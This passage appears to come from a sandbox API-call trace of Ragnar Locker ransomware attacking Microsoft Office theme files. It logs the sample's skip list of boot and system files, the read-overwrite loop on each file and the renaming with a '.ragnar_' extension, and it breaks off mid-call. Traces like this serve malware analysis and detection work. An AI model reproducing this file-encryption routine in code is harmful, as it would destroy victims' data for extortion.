1 [0094.001] CloseHandle (hObject=0x98) returned 1 [0094.002] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" [0094.002] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.ragnar_FD7BD9FC" [0094.002] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.002] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0094.002] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.002] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Flow.eftx" | out: lpString1="Flow.eftx") returned="Flow.eftx" [0094.002] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned=".eftx" [0094.002] lstrcmpiW (lpString1="Flow.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.002] lstrcmpiW (lpString1="Flow.eftx", lpString2="autorun.inf") returned 1 [0094.002] lstrcmpiW (lpString1="Flow.eftx", lpString2="boot.ini") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootfont.bin") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootsect.bak") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootmgr") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootmgr.efi") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootmgfw.efi") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="desktop.ini") returned 1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="iconcache.db") returned -1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="ntldr") returned -1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="ntuser.dat") returned -1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="ntuser.dat.log") returned -1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="ntuser.ini") returned -1 [0094.003] lstrcmpiW (lpString1="Flow.eftx", lpString2="thumbs.db") returned -1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.003] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0094.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.004] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26648) returned 1 [0094.004] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x680f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.004] GetProcessHeap () returned 0x580000 [0094.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.004] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.005] VirtualAlloc (lpAddress=0x0, dwSize=0x6818, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.006] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.006] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.006] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6818, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6818, lpOverlapped=0x0) returned 1 [0094.007] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.007] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6818, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.007] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6818, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6818, lpOverlapped=0x0) returned 1 [0094.007] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6818, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.007] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.007] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.007] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.007] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.007] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.008] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.008] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.008] GetProcessHeap () returned 0x580000 [0094.008] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.008] CloseHandle (hObject=0x98) returned 1 [0094.008] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" [0094.008] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.ragnar_FD7BD9FC" [0094.008] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.009] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0094.009] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.009] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Foundry.eftx" | out: lpString1="Foundry.eftx") returned="Foundry.eftx" [0094.009] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned=".eftx" [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="autorun.inf") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="boot.ini") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootfont.bin") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootsect.bak") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootmgr") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootmgr.efi") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootmgfw.efi") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="desktop.ini") returned 1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="iconcache.db") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ntldr") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ntuser.dat") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ntuser.dat.log") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ntuser.ini") returned -1 [0094.009] lstrcmpiW (lpString1="Foundry.eftx", lpString2="thumbs.db") returned -1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.009] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0094.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.010] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18226) returned 1 [0094.010] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4729, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.010] GetProcessHeap () returned 0x580000 [0094.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.011] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.012] VirtualAlloc (lpAddress=0x0, dwSize=0x4732, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.012] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.012] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.012] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4732, lpOverlapped=0x0) returned 1 [0094.013] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.013] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4732, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.013] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4732, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4732, lpOverlapped=0x0) returned 1 [0094.014] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4732, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.014] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.014] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4732, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.014] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.014] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.014] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.014] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.014] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.014] GetProcessHeap () returned 0x580000 [0094.014] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.014] CloseHandle (hObject=0x98) returned 1 [0094.014] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" [0094.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.ragnar_FD7BD9FC" [0094.014] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.015] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0094.015] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.015] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Grid.eftx" | out: lpString1="Grid.eftx") returned="Grid.eftx" [0094.015] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned=".eftx" [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="autorun.inf") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="boot.ini") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootfont.bin") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootsect.bak") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootmgr") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootmgr.efi") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootmgfw.efi") returned 1 [0094.015] lstrcmpiW (lpString1="Grid.eftx", lpString2="desktop.ini") returned 1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="iconcache.db") returned -1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="ntldr") returned -1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="ntuser.dat") returned -1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="ntuser.dat.log") returned -1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="ntuser.ini") returned -1 [0094.016] lstrcmpiW (lpString1="Grid.eftx", lpString2="thumbs.db") returned -1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.016] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0094.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.017] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18639) returned 1 [0094.017] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x48c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.017] GetProcessHeap () returned 0x580000 [0094.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.017] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.018] VirtualAlloc (lpAddress=0x0, dwSize=0x48cf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.018] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.019] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.019] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x48cf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x48cf, lpOverlapped=0x0) returned 1 [0094.019] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.020] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x48cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.020] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x48cf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x48cf, lpOverlapped=0x0) returned 1 [0094.020] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x48cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.020] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.020] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x48cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.020] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.020] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.020] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.020] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.020] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.020] GetProcessHeap () returned 0x580000 [0094.020] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.020] CloseHandle (hObject=0x98) returned 1 [0094.020] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" [0094.021] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.ragnar_FD7BD9FC" [0094.021] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 